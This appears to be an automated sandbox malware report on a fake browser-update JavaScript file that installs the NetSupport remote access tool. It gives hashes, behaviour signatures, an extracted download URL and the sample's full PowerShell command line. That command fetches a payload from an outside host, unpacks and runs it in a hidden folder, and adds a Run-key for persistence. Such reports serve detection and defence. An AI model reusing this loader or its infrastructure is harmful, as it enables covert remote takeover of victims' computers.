Analysis
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max time kernel
1340s -
max time network
1793s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
05-02-2024 20:15
Static task
static1
Behavioral task
behavioral1
Sample
Update_browser_121.0.616.js
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
Update_browser_121.0.616.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
Update_browser_121.0.616.js
Resource
win11-20231215-en
General
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Target
Update_browser_121.0.616.js
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Size
141KB
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MD5
5d982e1674c91ad7b246bcd2e328f2ee
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SHA1
5783631fd26905b4bdf5b1e1f5df40c003313140
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SHA256
7e95b7ab72daae1e7aa956a9b6dd4851061f158bef76dbfcfdfca0d3a54753c7
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SHA512
19680964f52e322e78c828c21a345997214289eb64a6af02b084e9d3c2b9be4a6561b31d67d410ada8e56d82b47942a7c1dfb53e3d4c5c0dff2c3f33d8a30e23
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SSDEEP
1536:HOpyD12CUUtsOpyD12CUUtBsOpyD12CUUtS:HOpyDEXUtsOpyDEXUtWOpyDEXUtS
Malware Config
Extracted
https://ghostcitygames.com/data.php?14371
https://ghostcitygames.com/data.php?14371
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 2 IoCs
Processes:
wscript.exepowershell.exeflow pid process 7 940 wscript.exe 15 2996 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 2940 client32.exe -
Loads dropped DLL 5 IoCs
Processes:
client32.exepid process 2940 client32.exe 2940 client32.exe 2940 client32.exe 2940 client32.exe 2940 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-156\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2996 powershell.exe 2996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 2996 powershell.exe Token: SeSecurityPrivilege 2940 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 2940 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 940 wrote to memory of 2996 940 wscript.exe powershell.exe PID 940 wrote to memory of 2996 940 wscript.exe powershell.exe PID 2996 wrote to memory of 2940 2996 powershell.exe client32.exe PID 2996 wrote to memory of 2940 2996 powershell.exe client32.exe PID 2996 wrote to memory of 2940 2996 powershell.exe client32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_121.0.616.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $hqVxxrVPU='https://ghostcitygames.com/data.php?14371';$IAboabKRESRqudjYrJHZKytC=(New-Object System.Net.WebClient).DownloadString($hqVxxrVPU);$MPyApWxijSLUJsOModxEXMoBK=[System.Convert]::FromBase64String($IAboabKRESRqudjYrJHZKytC);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $sHqUrXDwKXlDt=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $sHqUrXDwKXlDt -PathType Container)) { New-Item -Path $sHqUrXDwKXlDt -ItemType Directory };$p=Join-Path $sHqUrXDwKXlDt 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$MPyApWxijSLUJsOModxEXMoBK);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$sHqUrXDwKXlDt)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $sHqUrXDwKXlDt 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $sHqUrXDwKXlDt -Force; $FSDFSSD.attributes='Hidden';$s=$sHqUrXDwKXlDt+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2940
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
954KB
MD557009ba57b5825fb67118a0f608aa76d
SHA1ab8630beb690ed06ac8c49d3f8648373c7a56010
SHA256987c92d74ff74c299fcb3a84a013ce62f813f170224972feb167212b56d4aaf8
SHA5123810850c70a6f5751d5c4be7e426c4bb1aebcb44615930b2e752da5e134e2826cc2c7569e48bf59c9b254444826886228098ea8982ad0866ac5c32a1522d2ab5
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Filesize
1.9MB
MD5045266eeef99a3e21b680055753d1ab4
SHA151c5dd4a2369cd35aefd0108b3c2ef8bcac09249
SHA25675d804dbad0f58378a191ac13c2f04cbdc937ad332d84c12737eae4f3a5c1856
SHA5123bda61fa7073e93f782ff62ff38147b0de818406c460eeea346a05610ad25d8950804bec5e82f7be0758ad62cbc5e449c2807c6e5f8c1f8677da75a66f4ab351
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f